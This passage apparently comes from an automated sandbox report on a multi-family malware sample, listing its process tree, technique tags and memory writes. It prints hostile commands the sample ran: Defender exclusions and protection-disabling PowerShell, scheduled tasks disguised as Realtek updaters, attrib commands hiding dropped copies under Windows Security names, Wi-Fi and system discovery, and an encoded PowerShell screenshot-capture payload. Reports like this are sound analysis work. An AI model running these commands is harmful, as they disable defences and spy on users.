PID 116 wrote to memory of 1772	116	SecurityHealthSystray.exe	118
PID 364 wrote to memory of 4524	364	SecurityHealthWatcher.exe	119
PID 364 wrote to memory of 5016	364	SecurityHealthWatcher.exe	120
PID 364 wrote to memory of 2436	364	SecurityHealthWatcher.exe	121
PID 364 wrote to memory of 1236	364	SecurityHealthWatcher.exe	122
PID 364 wrote to memory of 940	364	SecurityHealthWatcher.exe	123
PID 364 wrote to memory of 384	364	SecurityHealthWatcher.exe	124
PID 1284 wrote to memory of 3720	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	125
PID 1284 wrote to memory of 4500	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	126
PID 1284 wrote to memory of 3916	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	157
PID 1284 wrote to memory of 648	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	128
PID 1284 wrote to memory of 2740	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	129
PID 1284 wrote to memory of 2632	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	130
PID 1284 wrote to memory of 2108	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	131
PID 116 wrote to memory of 552	116	SecurityHealthSystray.exe	132
PID 116 wrote to memory of 2920	116	SecurityHealthSystray.exe	133
PID 116 wrote to memory of 4496	116	SecurityHealthSystray.exe	134
PID 116 wrote to memory of 1104	116	SecurityHealthSystray.exe	135
PID 116 wrote to memory of 4812	116	SecurityHealthSystray.exe	136
PID 116 wrote to memory of 1468	116	SecurityHealthSystray.exe	137
PID 4524 wrote to memory of 4348	4524	SecurityHealthSystray.exe	138
PID 5016 wrote to memory of 2440	5016	SecurityHealthSystray.exe	139
PID 2436 wrote to memory of 4100	2436	SecurityHealthWatcher.exe	140
PID 1236 wrote to memory of 4656	1236	SecurityHealthWatcher.exe	141
PID 940 wrote to memory of 3992	940	SecurityHealthWatcher.exe	142
PID 2632 wrote to memory of 4152	2632	SecurityHealthWatcher.exe	143
PID 5016 wrote to memory of 2076	5016	SecurityHealthSystray.exe	144
PID 4524 wrote to memory of 3876	4524	SecurityHealthSystray.exe	145
PID 116 wrote to memory of 1460	116	SecurityHealthSystray.exe	146
PID 1284 wrote to memory of 1604	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	147
PID 1284 wrote to memory of 4484	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	148
PID 4524 wrote to memory of 3248	4524	SecurityHealthSystray.exe	149
PID 5016 wrote to memory of 3788	5016	SecurityHealthSystray.exe	150
PID 116 wrote to memory of 3212	116	SecurityHealthSystray.exe	151
PID 116 wrote to memory of 1876	116	SecurityHealthSystray.exe	152
PID 4524 wrote to memory of 4672	4524	SecurityHealthSystray.exe	154
PID 5016 wrote to memory of 608	5016	SecurityHealthSystray.exe	155
PID 116 wrote to memory of 3916	116	SecurityHealthSystray.exe	157
PID 4524 wrote to memory of 5088	4524	SecurityHealthSystray.exe	158
PID 5016 wrote to memory of 3700	5016	SecurityHealthSystray.exe	159
PID 1284 wrote to memory of 1676	1284	2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	160
PID 4524 wrote to memory of 1732	4524	SecurityHealthSystray.exe	161
PID 5016 wrote to memory of 1572	5016	SecurityHealthSystray.exe	162

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 21 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5116	attrib.exe
2084	attrib.exe
4820	attrib.exe
3992	attrib.exe
2440	attrib.exe
3120	attrib.exe
4152	attrib.exe
2104	attrib.exe
4252	attrib.exe
3828	attrib.exe
1580	attrib.exe
2996	attrib.exe
3184	attrib.exe
4656	attrib.exe
4100	attrib.exe
4348	attrib.exe
3064	attrib.exe
2352	attrib.exe
3460	attrib.exe
3024	attrib.exe
3336	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe"
1⤵
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1284
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
  2⤵
  - Views/modifies file attributes
  PID:5116
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3956
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4508
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  PID:60
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2752
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:2068
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "Realtek Audio Update" /tr C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe /sc onlogon /f /rl highest
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1932
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "Realtek Audio Watchdog" /tr "wscript.exe \"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RealtekAudioUpdate.vbs\"" /sc minute /mo 15 /f /rl highest
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4568
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "Realtek Audio Watcher" /tr C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthWatcher.exe /sc onlogon /f /rl highest
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3000
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:2104
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:2352
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\ProgramData\Microsoft\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:4252
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthWatcher.exe
  2⤵
  - Views/modifies file attributes
  PID:3828
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthWatcher.exe
  2⤵
  - Views/modifies file attributes
  PID:2084
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\ProgramData\Microsoft\SecurityHealthWatcher.exe
  2⤵
  - Views/modifies file attributes
  PID:3460
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\Microsoft\SecurityHealthWatcher.exe
  2⤵
  - Views/modifies file attributes
  PID:3024
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\SecurityHealthWatcher.exe
  2⤵
  - Views/modifies file attributes
  PID:3184
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect
  2⤵
  - Views/modifies file attributes
  PID:2996
- C:\Windows\system32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealtekAudioUpdate.vbs"
  2⤵
  - Creates a file in the Startup directory
  - Views/modifies file attributes
  PID:3120
- C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthSystray.exe
  C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthSystray.exe
  2⤵
  - Executes dropped EXE
  PID:3720
- C:\ProgramData\Microsoft\SecurityHealthSystray.exe
  C:\ProgramData\Microsoft\SecurityHealthSystray.exe
  2⤵
  - Executes dropped EXE
  PID:4500
- C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthWatcher.exe
  C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthWatcher.exe
  2⤵
  - Executes dropped EXE
  PID:3916
- C:\ProgramData\Microsoft\SecurityHealthWatcher.exe
  C:\ProgramData\Microsoft\SecurityHealthWatcher.exe
  2⤵
  - Executes dropped EXE
  PID:648
- C:\Users\Admin\Microsoft\SecurityHealthWatcher.exe
  C:\Users\Admin\Microsoft\SecurityHealthWatcher.exe
  2⤵
  - Executes dropped EXE
  PID:2740
- C:\Users\Admin\AppData\Local\Temp\SecurityHealthWatcher.exe
  C:\Users\Admin\AppData\Local\Temp\SecurityHealthWatcher.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2632
- - C:\Windows\system32\attrib.exe
    attrib +h +s C:\Users\Admin\AppData\Local\Temp\SecurityHealthWatcher.exe
    3⤵
    - Views/modifies file attributes
    PID:4152
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  PID:2108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\2026-08-07_8ab88c2183caaf622831478f54d85cdc_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1604
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  PID:4484
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  - Suspicious behavior: EnumeratesProcesses
  PID:1100
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:5080
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:3064
- C:\Windows\system32\attrib.exe
  attrib +r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:3336
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:2756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  PID:4356
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5e0odphh\5e0odphh.cmdline"
    3⤵
    PID:1876
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES209E.tmp" "c:\Users\Admin\AppData\Local\Temp\5e0odphh\CSC6E70738DF081466195C62FF3BD482A.TMP"
      4⤵
      PID:3388

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:116
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:1580
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:1772
- C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthSystray.exe
  C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthSystray.exe
  2⤵
  - Executes dropped EXE
  PID:552
- C:\ProgramData\Microsoft\SecurityHealthSystray.exe
  C:\ProgramData\Microsoft\SecurityHealthSystray.exe
  2⤵
  - Executes dropped EXE
  PID:2920
- C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthWatcher.exe
  C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthWatcher.exe
  2⤵
  - Executes dropped EXE
  PID:4496
- C:\ProgramData\Microsoft\SecurityHealthWatcher.exe
  C:\ProgramData\Microsoft\SecurityHealthWatcher.exe
  2⤵
  - Executes dropped EXE
  PID:1104
- C:\Users\Admin\Microsoft\SecurityHealthWatcher.exe
  C:\Users\Admin\Microsoft\SecurityHealthWatcher.exe
  2⤵
  - Executes dropped EXE
  PID:4812
- C:\Users\Admin\AppData\Local\Temp\SecurityHealthWatcher.exe
  C:\Users\Admin\AppData\Local\Temp\SecurityHealthWatcher.exe
  2⤵
  - Executes dropped EXE
  PID:1468
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  PID:1460
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  PID:3212
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1876
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:3916
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:4672
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  PID:4620
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  PID:5072
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:5088
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1844
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:3212
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  PID:2784
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  PID:3516
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:5048
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4328
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:5000
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  PID:3296
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  PID:3020
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3336
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:3224
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:4684
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  PID:4344
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  PID:1612
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1668
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:2456
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:4196
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  PID:3544
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  PID:4492
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4276
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:5048
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:5088
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  PID:4280
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  PID:3004
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2456
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4944
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:3788
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  PID:5060
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  PID:4536
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4624
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:2708

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:1304

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthWatcher.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthWatcher.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:364
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthWatcher.exe
  2⤵
  - Views/modifies file attributes
  PID:4820
- C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthSystray.exe
  C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthSystray.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4524
- - C:\Windows\system32\attrib.exe
    attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthSystray.exe
    3⤵
    - Views/modifies file attributes
    PID:4348
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:3876
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    PID:3248
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    PID:4672
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:5088
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1732
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:2860
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    PID:3244
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    PID:1212
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:4100
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1752
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:608
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    PID:2188
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    PID:3864
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:3916
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5116
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:3688
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    PID:4484
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    PID:4624
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:4336
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2084
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:1640
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    PID:5080
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    PID:3296
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1676
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3640
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
